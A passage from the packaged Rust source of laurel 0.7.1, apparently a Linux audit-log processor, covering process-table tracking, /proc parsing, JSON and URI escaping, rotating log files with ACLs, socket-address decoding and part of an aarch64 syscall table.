Option<&Process> { self.current.get(&pid).and_then(|pk| self.get_key(pk)) } /// Retrieves a process by pid. If the process is not found in the /// shadow process table, an attempt is made to fetch the /// information from another source, i.e. /proc. pub fn get_or_retrieve(&mut self, pid: u32) -> Option<&Process> { #[cfg(all(feature = "procfs", target_os = "linux"))] if self.get_pid(pid).is_none() { self.insert_from_procfs(pid); } self.get_pid(pid) } /// Fetch process information from procfs, insert into shadow /// process table. #[cfg(all(feature = "procfs", target_os = "linux"))] pub fn insert_from_procfs(&mut self, pid: u32) -> Option<&Process> { if let Ok(p) = Process::parse_proc(pid) { let key = p.key; self.insert(p); self.processes.get(&key) } else { None } } /// Remove processes that are no longer running and that were not /// parents of currently running processes. /// /// It should be possible to run this every few seconds without /// incurring load. #[cfg(all(feature = "procfs", target_os = "linux", not(test)))] pub fn expire(&mut self) { let mut proc_prune: BTreeSet = self.processes.keys().cloned().collect(); let mut pid_prune: Vec = vec![]; let live_processes = match procfs::get_pids() { Ok(p) => p, Err(_) => return, }; // unmark latest instance in by_pids and all its parents for seed_pid in live_processes { let mut key = match self.current.get(&seed_pid) { None => continue, Some(&key) => key, }; // keep all parents of live processes => remove them from // the prune list. loop { if !proc_prune.remove(&key) { break; } key = match self.processes.get(&key) { Some(Process { pid, parent: Some(parent_key), .. }) if *pid >= 1 => *parent_key, _ => break, }; } } // remove entries from primary process list for key in &proc_prune { self.processes.remove(key); } // remove pidi entries for processes that have disappeared for (pid, pk) in &self.current { if proc_prune.contains(pk) { pid_prune.push(*pid); } } for pid in pid_prune { self.current.remove(&pid); } } /// No expire mechanism has been implemented for the case where /// there's no procfs support. #[cfg(not(all(feature = "procfs", target_os = "linux", not(test))))] pub fn expire(&self) {} pub fn set_labels(&mut self, key: &ProcessKey, labels: &HashSet>) { if let Some(p) = self.processes.get_mut(key) { p.labels.clone_from(labels); } } /// Apply exe-specific labels to a single process pub fn relabel_process(&mut self, pk: &ProcessKey, settings: &coalesce::Settings) { let proc = match self.processes.get(pk) { Some(p) => p, _ => return, }; // inherit let mut labels = proc.labels.clone(); if let Some(parent) = proc.parent.and_then(|pk| self.processes.get(&pk)) { labels.extend( parent .labels .intersection(&settings.proc_propagate_labels) .cloned(), ); } // label, unlabel if let (Some(exe), Some(label_exe)) = (&proc.exe, &settings.label_exe) { for label in label_exe.matches(exe) { labels.insert(label.into()); } } if let (Some(exe), Some(unlabel_exe)) = (&proc.exe, &settings.unlabel_exe) { for label in unlabel_exe.matches(exe) { labels.remove(label); } } self.processes.get_mut(pk).unwrap().labels = labels; } /// Apply exe-specific labels to all processes in the process table /// /// This means applying propagate-labels, label-exe, unlabel-exe. pub fn relabel_all(&mut self, settings: &coalesce::Settings) { // Create an ordering of processes such that every process // precedes all its childen let mut unseen: BTreeSet = self.processes.keys().cloned().collect(); for pk in &unseen.clone() { let mut chain = vec![]; let mut key = *pk; loop { chain.push(key); unseen.remove(&key); key = match self.processes.get(&key).and_then(|proc| proc.parent) { Some(pk) if unseen.contains(&pk) => pk, _ => break, }; } for pk in chain.iter().rev() { self.relabel_process(pk, settings); } } } } #[cfg(test)] mod tests { use super::*; use std::error::Error; #[test] fn show_processes() -> Result<(), Box> { let pt = ProcTable::from_proc(None, &HashSet::new())?; for p in pt.processes { println!("{:?}", &p); } Ok(()) } #[test] fn proc_key_ord() { let e1 = ProcessKey::Event(EventID { timestamp: 1700000000000, sequence: 1000, }); let e2 = ProcessKey::Event(EventID { timestamp: 1700000000000, sequence: 1001, }); let e3 = ProcessKey::Event(EventID { timestamp: 1700000000001, sequence: 1002, }); let o1 = ProcessKey::Observed { time: 1700000000000, pid: 1000, }; let o2 = ProcessKey::Observed { time: 1700000000000, pid: 1001, }; let o3 = ProcessKey::Observed { time: 1700000000001, pid: 1002, }; for e in [e1, e2, e3] { for o in [o1, o2, o3] { assert!(e.cmp(&o).is_ne(), "{e} should not be equal to {o}"); assert!(o.cmp(&e).is_ne(), "{o} should not be equal to {e}"); } } assert!(e1.cmp(&e2).is_lt()); assert!(e1.cmp(&e3).is_lt()); assert!(e2.cmp(&e3).is_lt()); assert!(o1.cmp(&o2).is_lt()); assert!(o1.cmp(&o3).is_lt()); assert!(o2.cmp(&o3).is_lt()); assert!(e1.cmp(&o1).is_gt()); assert!(e1.cmp(&o2).is_gt()); assert!(e1.cmp(&o3).is_lt()); assert!(e2.cmp(&o1).is_gt()); assert!(e2.cmp(&o2).is_gt()); assert!(e2.cmp(&o3).is_lt()); assert!(e3.cmp(&o1).is_gt()); assert!(e3.cmp(&o2).is_gt()); assert!(e3.cmp(&o3).is_gt()); } #[test] #[cfg(all(feature = "procfs", target_os = "linux"))] fn extract_container_id() { for (raw, expected) in &[ (&b""[..], None), (&b"0::/init.scope"[..], None), (&b"0::/user.slice/user-1000.slice/user@1000.service/user.slice/libpod-f13b567f07e025055fa9fa2793f44695036e3d412d82d16ee03d72e8b4eb8387.scope/container"[..], Some(Vec::from(&b"\xf1\x3b\x56\x7f\x07\xe0\x25\x05\x5f\xa9\xfa\x27\x93\xf4\x46\x95\x03\x6e\x3d\x41\x2d\x82\xd1\x6e\xe0\x3d\x72\xe8\xb4\xeb\x83\x87"[..]))), (&b"0::/system.slice/docker-2b45249a1a21d3806efd98e2eb93c7dc319c645a27e7cd85362227becc68ca44.scope"[..], Some(Vec::from(&b"\x2b\x45\x24\x9a\x1a\x21\xd3\x80\x6e\xfd\x98\xe2\xeb\x93\xc7\xdc\x31\x9c\x64\x5a\x27\xe7\xcd\x85\x36\x22\x27\xbe\xcc\x68\xca\x44"[..]))), ] { let got = try_extract_container_id(raw); assert_eq!(*expected, got); } } #[test] #[cfg(all(feature = "procfs", target_os = "linux"))] fn extract_systemd_service() { for (raw, expected) in &[ (&b""[..], None), (&b"0::/init.scope"[..], None), ( &b"0::/system.slice/nginx.service"[..], Some(vec![b"nginx".to_vec()]), ), ( &b"0::/user.slice/user-1000.slice/user@1000.service/app.slice/emacs.service"[..], Some(vec![b"user@1000".to_vec(), b"emacs".to_vec()]), ), ] { let got = try_extract_systemd_service(raw); assert_eq!(*expected, got); } } } laurel-0.7.1/src/procfs.rs000064400000000000000000000142771046102023000135610ustar 00000000000000use std::ffi::OsStr; use std::fs::{read_dir, read_link, File, Metadata}; use std::io::{BufRead, BufReader, Read, Write}; use std::os::unix::ffi::OsStrExt; use std::path::Path; use std::str::FromStr; use lazy_static::lazy_static; use nix::sys::time::TimeSpec; use nix::time::{clock_gettime, ClockId}; use nix::unistd::{sysconf, SysconfVar}; use thiserror::Error; lazy_static! { /// kernel clock ticks per second static ref CLK_TCK: u64 = sysconf(SysconfVar::CLK_TCK).unwrap().unwrap() as u64; } #[derive(Debug, Error)] pub enum ProcFSError { #[error("can't read /proc/{pid}/(obj): {err}")] PidFile { pid: u32, obj: &'static str, err: std::io::Error, }, #[error("can't enumerate processes: {0}")] Enum(std::io::Error), #[error("can't get field {0}")] Field(&'static str), #[error("{0}: {1}")] Errno(&'static str, nix::errno::Errno), } fn slurp_file>(path: P) -> Result, std::io::Error> { let f = File::open(path)?; let mut r = BufReader::with_capacity(1 << 16, f); r.fill_buf()?; let mut buf = Vec::with_capacity(8192); r.read_to_end(&mut buf)?; Ok(buf) } /// Read contents of file, return buffer. fn slurp_pid_obj(pid: u32, obj: &'static str) -> Result, ProcFSError> { let path = format!("/proc/{pid}/{obj}"); slurp_file(path).map_err(|err| ProcFSError::PidFile { pid, obj, err }) } type Environment = Vec<(Vec, Vec)>; /// Returns set of environment variables that match pred for a given process pub fn get_environ(pid: u32, pred: F) -> Result where F: Fn(&[u8]) -> bool, { let buf = slurp_pid_obj(pid, "environ")?; let mut res = Vec::new(); for e in buf.split(|c| *c == 0) { let mut kv = e.splitn(2, |c| *c == b'='); let k = kv.next().unwrap_or_default(); if pred(k) { let v = kv.next().unwrap_or_default(); res.push((k.to_owned(), v.to_owned())); } } Ok(res) } /// Returns all currently valid process IDs pub fn get_pids() -> Result, ProcFSError> { Ok(read_dir("/proc") .map_err(ProcFSError::Enum)? .flatten() .filter_map(|e| u32::from_str(e.file_name().to_string_lossy().as_ref()).ok()) .collect::>()) } /// Returns file metadata for a path from a process' perspective pub fn pid_path_metadata(pid: u32, path: &[u8]) -> Result { if path.is_empty() || path[0] != b'/' { return Err(std::io::ErrorKind::NotFound.into()); } let mut proc_path = Vec::with_capacity(20 + path.len()); // unwrap safety: write will not produce an IO error write!(proc_path, "/proc/{pid}/root").unwrap(); proc_path.extend(path); std::fs::metadata(OsStr::from_bytes(&proc_path)) } #[derive(Debug)] pub(crate) struct ProcPidInfo { /// /proc//stat field 1 pub pid: u32, /// /proc//stat field 4 pub ppid: u32, /// /proc//stat field 22, converted to milliseconds since epoch pub starttime: u64, /// /proc/pid/comm pub comm: Option>, /// /proc/pid/exe pub exe: Option>, /// from /proc/$PID/cgroup pub cgroup: Option>, } /// Parses information from /proc entry corresponding to process pid pub(crate) fn parse_proc_pid(pid: u32) -> Result { let buf = slurp_pid_obj(pid, "stat")?; // comm may contain whitespace and ")", skip over it. let pid_end = buf .iter() .enumerate() .find(|(_, c)| **c == b' ') .ok_or(ProcFSError::Field("pid"))? .0; let stat_pid = &buf[..pid_end]; let comm_end = buf .iter() .enumerate() .rfind(|(_, c)| **c == b')') .ok_or(ProcFSError::Field("comm"))? .0; let stat = &buf[comm_end + 2..] .split(|c| *c == b' ') .collect::>(); let comm = slurp_pid_obj(pid, "comm") .map(|mut s| { s.truncate(s.len() - 1); s }) .ok(); let exe = read_link(format!("/proc/{pid}/exe")) .map(|p| Vec::from(p.as_os_str().as_bytes())) .ok(); let pid = u32::from_str(String::from_utf8_lossy(stat_pid).as_ref()) .map_err(|_| ProcFSError::Field("pid"))?; let ppid = u32::from_str(String::from_utf8_lossy(stat[1]).as_ref()) .map_err(|_| ProcFSError::Field("ppid"))?; let starttime = u64::from_str(String::from_utf8_lossy(stat[19]).as_ref()) .map_err(|_| ProcFSError::Field("starttime"))?; // Use the boottime-based clock to calculate process start // time, convert to Unix-epoch-based-time. let proc_boottime = TimeSpec::from(libc::timespec { tv_sec: (starttime / *CLK_TCK) as _, tv_nsec: ((starttime % *CLK_TCK) * (1_000_000_000 / *CLK_TCK)) as _, }); #[cfg(not(target_os = "linux"))] let proc_age = TimeSpec::from(std::time::Duration::ZERO); #[cfg(target_os = "linux")] let proc_age = clock_gettime(ClockId::CLOCK_BOOTTIME) .map_err(|e| ProcFSError::Errno("clock_gettime(CLOCK_BOOTTIME)", e))? - proc_boottime; let starttime = { let lt = clock_gettime(ClockId::CLOCK_REALTIME) .map_err(|e| ProcFSError::Errno("clock_gettime(CLOCK_REALTIME)", e))? - proc_age; (lt.tv_sec() as u64) * 1000 + (lt.tv_nsec() as u64) / 1_000_000 }; let cgroup = parse_proc_pid_cgroup(pid)?; Ok(ProcPidInfo { pid, ppid, starttime, comm, exe, cgroup, }) } /// Parses path (third field) /proc/pid/cgroup pub(crate) fn parse_proc_pid_cgroup(pid: u32) -> Result>, ProcFSError> { parse_cgroup_buf(&slurp_pid_obj(pid, "cgroup")?) } fn parse_cgroup_buf(buf: &[u8]) -> Result>, ProcFSError> { for line in buf.split(|c| *c == b'\n') { match line.split(|&c| c == b':').nth(2) { None => continue, Some(dir) => return Ok(Some(dir.to_vec())), } } Ok(None) } #[cfg(test)] mod tests { use super::*; #[test] fn parse_self() { let pid = std::process::id(); let proc = parse_proc_pid(pid).unwrap_or_else(|_| panic!("parse entry for {pid}")); println!("{:?}", proc); } } laurel-0.7.1/src/quote.rs000064400000000000000000000153641046102023000134200ustar 00000000000000use std::io::{Result, Write}; const HEXDIGITS: &[u8; 16] = b"0123456789abcdef"; /// Adapter that applies backslash-coding according to JSON rules to /// the bytes written. pub(crate) struct BackslashEscapeWriter<'a, W>(pub &'a mut W) where W: ?Sized + Write; impl Write for BackslashEscapeWriter<'_, W> where W: ?Sized + Write, { fn write(&mut self, buf: &[u8]) -> Result { let mut quoted = [b'\\', b'u', b'0', b'0', b'0', b'0']; let mut start_unquoted = 0; for (n, c) in buf.iter().enumerate() { let quoted = match c { b'"' => &br#"\""#[..], b'\\' => &br#"\\"#[..], b'\x08' => &br#"\b"#[..], b'\x0c' => &br#"\f"#[..], b'\n' => &br#"\n"#[..], b'\r' => &br#"\r"#[..], b'\t' => &br#"\t"#[..], c if *c < 32 => { quoted[4] = HEXDIGITS[((*c & 0xf0) >> 4) as usize]; quoted[5] = HEXDIGITS[(*c & 0x0f) as usize]; "ed } _ => continue, }; self.0.write_all(&buf[start_unquoted..n])?; self.0.write_all(quoted)?; start_unquoted = n + 1; } self.0.write_all(&buf[start_unquoted..])?; Ok(buf.len()) } fn flush(&mut self) -> Result<()> { self.0.flush() } } fn write_quoted_byte(writer: &mut W, value: u8) -> Result<()> where W: ?Sized + Write, { let value = value as usize; writer.write_all(&[b'%', HEXDIGITS[value >> 4], HEXDIGITS[value & 0x0f]]) } /// Adapter that applies URI-escaping (except ' ' -> '+') to the bytes writen. /// /// Printable ASCII characters except `%`, `+`, and `\b`, `\f`, `\n`, /// `\r`, `\t` are left as-is. /// /// This is the "inner" encoding of the JSON strings produced by Laurel. pub(crate) struct URIEscapeWriter<'a, W>(pub &'a mut W) where W: ?Sized + Write; impl Write for URIEscapeWriter<'_, W> where W: ?Sized + Write, { fn write(&mut self, buf: &[u8]) -> Result { let mut utf8state: Option = None; let mut stash = tinyvec::array_vec!([u8; 4]); let mut start_unquoted = 0; for (n, c) in buf.iter().enumerate() { loop { match utf8state { None => { if *c >= 32 && *c < 127 && ![b'%', b'+', b'\x08', b'\x0c', b'\n', b'\r', b'\t'].contains(c) { // simple byte, collect to be output as-is. break; } self.0.write_all(&buf[start_unquoted..n])?; start_unquoted = n + 1; let len = match *c { n if n & 0b11100000 == 0b11000000 => 1, n if n & 0b11110000 == 0b11100000 => 2, n if n & 0b11111000 == 0b11110000 => 3, _ => { // simple non-representable byte write_quoted_byte(self.0, *c)?; break; } }; stash.clear(); stash.push(*c); utf8state = Some(len); break; } Some(ref mut len) => { if *c & 0b11000000 == 0b10000000 { start_unquoted = n + 1; stash.push(*c); *len -= 1; // Complete UTF-8 multi-byte-sequence. Write. if *len == 0 { match std::str::from_utf8(&stash) { Ok(s) if s != "\u{feff}" => self.0.write_all(&stash)?, _ => stash .iter() .try_for_each(|c| write_quoted_byte(self.0, *c))?, } utf8state = None; } break; } else { // Incomplete UTF-8 multi-byte sequence. // Write and re-evaluate current byte. stash .iter() .try_for_each(|c| write_quoted_byte(self.0, *c))?; utf8state = None; } } } } } // invalid UTF-8 multi-byte-sequence at end of input. match utf8state { Some(_) => stash .iter() .try_for_each(|c| write_quoted_byte(self.0, *c))?, None => self.0.write_all(&buf[start_unquoted..])?, }; Ok(buf.len()) } fn flush(&mut self) -> Result<()> { self.0.flush() } } #[cfg(test)] mod test { use super::URIEscapeWriter; use std::io::Write; fn uri_escaped(value: &[u8]) -> String { let mut buf = Vec::with_capacity(value.len()); URIEscapeWriter(&mut buf).write(value).unwrap(); String::from_utf8(buf).unwrap() } #[test] fn uri_escape() { assert_eq!(" ", uri_escaped(b" ")); assert_eq!("asdf", uri_escaped(b"asdf")); assert_eq!("%2b", uri_escaped(b"+")); assert_eq!("%25", uri_escaped(b"%")); assert_eq!("%2b%2b%2b", uri_escaped(b"+++")); assert_eq!("%25%25%25", uri_escaped(b"%%%")); assert_eq!("%25%2b%25", uri_escaped(b"%+%")); assert_eq!("ä", uri_escaped(b"\xc3\xa4")); assert_eq!("€", uri_escaped(b"\xe2\x82\xac")); assert_eq!("💖", uri_escaped(b"\xf0\x9f\x92\x96")); assert_eq!("äöü", uri_escaped(b"\xc3\xa4\xc3\xb6\xc3\xbc")); assert_eq!( "abcdäöüefgh", uri_escaped(b"abcd\xc3\xa4\xc3\xb6\xc3\xbcefgh") ); assert_eq!("🄻🄰🅄🅁🄴🄻", uri_escaped(b"\xf0\x9f\x84\xbb\xf0\x9f\x84\xb0\xf0\x9f\x85\x84\xf0\x9f\x85\x81\xf0\x9f\x84\xb4\xf0\x9f\x84\xbb")); assert_eq!("%c3ä", uri_escaped(b"\xc3\xc3\xa4")); assert_eq!("%f0💖", uri_escaped(b"\xf0\xf0\x9f\x92\x96")); assert_eq!("%f0💖%f0", uri_escaped(b"\xf0\xf0\x9f\x92\x96\xf0")); assert_eq!("%f0💖asdf", uri_escaped(b"\xf0\xf0\x9f\x92\x96asdf")); assert_eq!("%f0%9f💖", uri_escaped(b"\xf0\x9f\xf0\x9f\x92\x96")); assert_eq!("%f0%9f%92💖", uri_escaped(b"\xf0\x9f\x92\xf0\x9f\x92\x96")); assert_eq!("%ef%bb%bf", uri_escaped(b"\xEF\xBB\xBF")); } } laurel-0.7.1/src/rotate.rs000064400000000000000000000151531046102023000135550ustar 00000000000000use std::ffi::{OsStr, OsString}; use std::fs::{self, remove_file, rename, File, OpenOptions}; use std::io::{Error, Result, Seek, SeekFrom, Write}; use std::os::unix::fs::OpenOptionsExt; use exacl::{setfacl, AclEntry, Perm}; /// A rotating (log) file writer /// /// [`FileRotate`] rotates the file after `filesize` bytes have been /// written to the main file. Up to `num_files` generations of backup /// files are kept around. pub struct FileRotate { /// The name for the main file. For backup generations, `.1`, /// `.2`, `.3` etc. are appended to this file name. pub basename: OsString, /// When a [`write`] operation causes the main file to reach this /// size, a [`FileRotate::rotate`] operation is triggered. pub filesize: u64, pub generations: u64, pub users: Vec, pub groups: Vec, pub other: bool, file: Option, offset: u64, } fn ignore_missing(e: Error) -> Result<()> { if e.kind() == std::io::ErrorKind::NotFound { Ok(()) } else { Err(e) } } impl FileRotate { /// Creates a new [`FileRotate`] instance. This does not involve /// any I/O operations; the main file is only created when calling /// [`write`]. pub fn new>(path: P) -> Self { FileRotate { basename: OsString::from(path.as_ref()), filesize: 0, generations: 0, users: vec![], groups: vec![], other: false, file: None, offset: 0, } } pub fn with_filesize(mut self, p: u64) -> Self { self.filesize = p; self } pub fn with_generations(mut self, p: u64) -> Self { self.generations = p; self } pub fn with_user(mut self, user: &str) -> Self { self.users.push(user.into()); self } pub fn with_group(mut self, group: &str) -> Self { self.groups.push(group.into()); self } pub fn with_other(mut self, other: bool) -> Self { self.other = other; self } /// Closes the main file and performs a backup file rotation pub fn rotate(&mut self) -> Result<()> { log::info!("Rotating {}", self.basename.to_string_lossy()); if self.generations == 0 { fs::remove_file(&self.basename).or_else(ignore_missing)?; return Ok(()); } for suffix in (0..self.generations).rev() { let mut old = self.basename.clone(); match suffix { 0 => (), _ => old.push(format!(".{suffix}")), }; let mut new = self.basename.clone(); new.push(format!(".{}", suffix + 1)); if fs::metadata(&old).is_ok() { fs::rename(old, new).or_else(ignore_missing)?; } } self.file = None; Ok(()) } /// Opens main file, re-using existing file if prersent. /// /// If the file does not exist, a new temporary file is crerated, /// permissions are adjusted, and it is renamed to the final /// destination. fn open(&mut self) -> Result<()> { let mut acl = vec![ AclEntry::allow_user("", Perm::from_bits_truncate(6), None), AclEntry::allow_group("", Perm::from_bits_truncate(4), None), #[cfg(any(target_os = "linux", target_os = "freebsd"))] AclEntry::allow_other( if self.other { Perm::READ } else { Perm::empty() }, None, ), ]; for user in &self.users { acl.push(AclEntry::allow_user(user, Perm::READ, None)); } for group in &self.groups { acl.push(AclEntry::allow_group(group, Perm::READ, None)); } if let Ok(mut f) = OpenOptions::new().append(true).open(&self.basename) { setfacl(&[&self.basename], &acl, None).map_err(|e| Error::new(e.kind(), e))?; self.offset = f.seek(SeekFrom::End(0))?; self.file = Some(f); } else { let mut tmp = self.basename.clone(); tmp.push(".tmp"); remove_file(&tmp).or_else(|e| match e.kind() { std::io::ErrorKind::NotFound => Ok(()), _ => Err(e), })?; let f = OpenOptions::new() .create_new(true) .mode(0o600) .append(true) .open(&tmp)?; setfacl(&[&tmp], &acl, None).map_err(|e| Error::new(e.kind(), e))?; rename(&tmp, &self.basename)?; self.offset = 0; self.file = Some(f); } Ok(()) } } impl Write for FileRotate { fn write(&mut self, buf: &[u8]) -> Result { if self.file.is_none() { self.open()?; } let mut f = self.file.as_ref().unwrap(); let sz = f.write(buf)?; self.offset += sz as u64; if self.offset > self.filesize && self.filesize != 0 && buf.last() == Some(&b'\n') { f.sync_all()?; self.rotate()?; } Ok(sz) } fn flush(&mut self) -> Result<()> { match self.file.as_ref() { Some(mut f) => f.flush(), None => Ok(()), } } } #[cfg(test)] mod test { use super::*; use nix::unistd::mkdtemp; use std::env::temp_dir; #[test] fn fresh_file() { let td = mkdtemp(&temp_dir().join("laurel-test-XXXXXXXX")).expect("can't create temp dir"); let mut fr = FileRotate::new(td.join("logfile")); fr.rotate().expect("rotate"); fr.write(b"asdf").expect("write"); fr.flush().expect("flush"); std::fs::remove_dir_all(td).expect("remove_dir_all"); } #[test] fn existing() { let td = mkdtemp(&temp_dir().join("laurel-test-XXXXXXXX")).expect("can't create temp dir"); std::fs::write(&td.join("logfile"), "asdf").expect("setup"); let mut fr = FileRotate::new(&td.join("logfile")).with_generations(3); fr.rotate().expect("rotate"); assert!( std::fs::exists(&td.join("logfile.1")).expect("stat"), "after rotate, logfile.1 should exist" ); assert!( !std::fs::exists(&td.join("logfile")).expect("stat"), "after rotate, logfile should no longer exist" ); fr.write(b"asdf").expect("write"); fr.flush().expect("flush"); assert!( std::fs::exists(&td.join("logfile")).expect("stat"), "after rotate+write, logfile should exist" ); std::fs::remove_dir_all(td).expect("remove_dir_all"); } } laurel-0.7.1/src/sockaddr.h000064400000000000000000000016571046102023000136600ustar 00000000000000#include #include #include #include #include #include // #include #include #include // #include // #include #include // #include #include // #include #include #include #include // #include #include // #include #include #include #include #include #include /* Apparently, ipx.h is no longer generally available. */ #define IPX_NODE_LEN 6 struct sockaddr_ipx { sa_family_t sipx_family; uint16_t sipx_port; uint32_t sipx_network; unsigned char sipx_node[IPX_NODE_LEN]; uint8_t sipx_type; unsigned char sipx_zero; }; laurel-0.7.1/src/sockaddr.rs000064400000000000000000000145731046102023000140560ustar 00000000000000#![allow(non_upper_case_globals)] #![allow(non_camel_case_types)] #![allow(non_snake_case)] #![allow(clippy::missing_safety_doc)] include!(concat!(env!("OUT_DIR"), "/sockaddr.rs")); use std::convert::TryInto; use std::net::{Ipv4Addr, Ipv6Addr, SocketAddrV4, SocketAddrV6}; use thiserror::Error; /* pub struct SocketAddrLL { pub protocol: u16, pub ifindex: u32, pub hatype: u16, pub pkttype: u8, pub addr: Vec, } */ #[derive(Debug, PartialEq, Eq)] pub struct SocketAddrLocal { pub path: Vec, } #[derive(Debug, PartialEq, Eq)] pub struct SocketAddrAX25 { pub call: [u8; 7], } #[derive(Debug, PartialEq, Eq)] pub struct SocketAddrATMPVC { pub itf: i16, pub vpi: i16, pub vci: i32, } #[derive(Debug, PartialEq, Eq)] pub struct SocketAddrIPX { pub port: u16, pub network: u32, pub node: [u8; 6], pub typ: u8, } #[derive(Debug, PartialEq, Eq)] pub struct SocketAddrX25 { pub address: [u8; 16], } #[derive(Debug, PartialEq, Eq)] pub struct SocketAddrVM { pub port: u32, pub cid: u32, } #[derive(Debug, PartialEq, Eq)] pub struct SocketAddrNL { pub pid: u32, pub groups: u32, } #[derive(Debug, PartialEq, Eq)] pub enum SocketAddr { Local(SocketAddrLocal), Inet(SocketAddrV4), AX25(SocketAddrAX25), ATMPVC(SocketAddrATMPVC), X25(SocketAddrX25), IPX(SocketAddrIPX), Inet6(SocketAddrV6), Netlink(SocketAddrNL), VM(SocketAddrVM), } #[derive(Debug, Error)] pub enum SocketAddrError { #[error("buffer too short")] BufferTooShort, #[error("unrecognized socket family {0}")] UnrecognizedFamily(u16), } fn get_sock(buf: &[u8]) -> Result { if buf.len() < std::mem::size_of::() { Err(SocketAddrError::BufferTooShort) } else { let sa = unsafe { std::ptr::read(&buf[0] as *const _ as _) }; Ok(sa) } } impl SocketAddr { pub fn parse(buf: &[u8]) -> Result { if buf.len() < 2 { return Err(SocketAddrError::BufferTooShort); } let fam = u16::from_ne_bytes(buf[0..2].try_into().unwrap()) as u32; match fam { AF_LOCAL => { let sa = get_sock::(buf)?; let path: Vec = if sa.sun_path[0] == 0 { &sa.sun_path[1..] } else { &sa.sun_path[..] } .iter() .take_while(|c| **c != 0) .map(|c| *c as u8) .collect(); Ok(SocketAddr::Local(SocketAddrLocal { path })) } AF_INET => { let sa = get_sock::(buf)?; Ok(SocketAddr::Inet(SocketAddrV4::new( Ipv4Addr::from(u32::from_be(sa.sin_addr.s_addr)), u16::from_be(sa.sin_port), ))) } AF_AX25 => { let sa = get_sock::(buf)?; let mut call = [0u8; 7]; for (i, v) in sa.sax25_call.ax25_call.iter().enumerate() { call[i] = *v as u8; } Ok(SocketAddr::AX25(SocketAddrAX25 { call })) } AF_IPX => { let sa = get_sock::(buf)?; Ok(SocketAddr::IPX(SocketAddrIPX { port: u16::from_be(sa.sipx_port), network: u32::from_be(sa.sipx_network), node: sa.sipx_node, typ: sa.sipx_type, })) } AF_ATMPVC => { let sa = get_sock::(buf)?; Ok(SocketAddr::ATMPVC(SocketAddrATMPVC { itf: sa.sap_addr.itf, vpi: sa.sap_addr.vpi, vci: sa.sap_addr.vci, })) } AF_X25 => { let sa = get_sock::(buf)?; let mut address = [0u8; 16]; for (i, v) in sa.sx25_addr.x25_addr.iter().enumerate() { address[i] = *v as u8; } Ok(SocketAddr::X25(SocketAddrX25 { address })) } AF_INET6 => { let sa = get_sock::(buf)?; let addr = unsafe { sa.sin6_addr.in6_u.u6_addr8 }; Ok(SocketAddr::Inet6(SocketAddrV6::new( Ipv6Addr::from(addr), u16::from_be(sa.sin6_port), u32::from_be(sa.sin6_flowinfo), sa.sin6_scope_id, ))) } AF_NETLINK => { let sa = get_sock::(buf)?; Ok(SocketAddr::Netlink(SocketAddrNL { pid: sa.nl_pid, groups: sa.nl_groups, })) } AF_VSOCK => { let sa = get_sock::(buf)?; Ok(SocketAddr::VM(SocketAddrVM { port: sa.svm_port, cid: sa.svm_cid, })) } _ => Err(SocketAddrError::UnrecognizedFamily(fam as _)), } } } #[cfg(test)] mod test { use super::*; #[test] fn parse_syslog() -> Result<(), SocketAddrError> { // taken from testdata/record-connect-unix-raw.txt #[cfg(target_endian = "little")] { assert_eq!( SocketAddr::parse(b"\x01\x00\x2F\x64\x65\x76\x2F\x6C\x6F\x67\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")?, SocketAddr::Local(SocketAddrLocal { path: Vec::from(*b"/dev/log") }) ); } // taken from testdata/record-bind-ipv4-bigendian.txt #[cfg(target_endian = "big")] { assert_eq!( SocketAddr::parse( b"\x00\x02\xD9\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" )?, SocketAddr::Inet("0.0.0.0:55555".parse().unwrap()) ); } Ok(()) } } laurel-0.7.1/src/tbl/README.md000064400000000000000000000002201046102023000137360ustar 00000000000000The `*.h` files in this directory have been copied from the [Linux-audit userspace](https://github.com/linux-audit/audit-userspace) repository. laurel-0.7.1/src/tbl/syscall/aarch64_table.h000064400000000000000000000167721046102023000167240ustar 00000000000000/* aarch64_table.h -- * Copyright 2013-24 Red Hat Inc. * All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * Authors: * Steve Grubb */ _S(0, "io_setup") _S(1, "io_destroy") _S(2, "io_submit") _S(3, "io_cancel") _S(4, "io_getevents") _S(5, "setxattr") _S(6, "lsetxattr") _S(7, "fsetxattr") _S(8, "getxattr") _S(9, "lgetxattr") _S(10, "fgetxattr") _S(11, "listxattr") _S(12, "llistxattr") _S(13, "flistxattr") _S(14, "removexattr") _S(15, "lremovexattr") _S(16, "fremovexattr") _S(17, "getcwd") _S(18, "lookup_dcookie") _S(19, "eventfd2") _S(20, "epoll_create1") _S(21, "epoll_ctl") _S(22, "epoll_pwait") _S(23, "dup") _S(24, "dup3") _S(25, "fcntl") _S(26, "inotify_init1") _S(27, "inotify_add_watch") _S(28, "inotify_rm_watch") _S(29, "ioctl") _S(30, "ioprio_set") _S(31, "ioprio_get") _S(32, "flock") _S(33, "mknodat") _S(34, "mkdirat") _S(35, "unlinkat") _S(36, "symlinkat") _S(37, "linkat") _S(38, "renameat") _S(39, "umount2") _S(40, "mount") _S(41, "pivot_root") _S(42, "nfsservctl") _S(43, "statfs") _S(44, "fstatfs") _S(45, "truncate") _S(46, "ftruncate") _S(47, "fallocate") _S(48, "faccessat") _S(49, "chdir") _S(50, "fchdir") _S(51, "chroot") _S(52, "fchmod") _S(53, "fchmodat") _S(54, "fchownat") _S(55, "fchown") _S(56, "openat") _S(57, "close") _S(58, "vhangup") _S(59, "pipe2") _S(60, "quotactl") _S(61, "getdents") _S(62, "lseek") _S(63, "read") _S(64, "write") _S(65, "readv") _S(66, "writev") _S(67, "pread") _S(68, "pwrite") 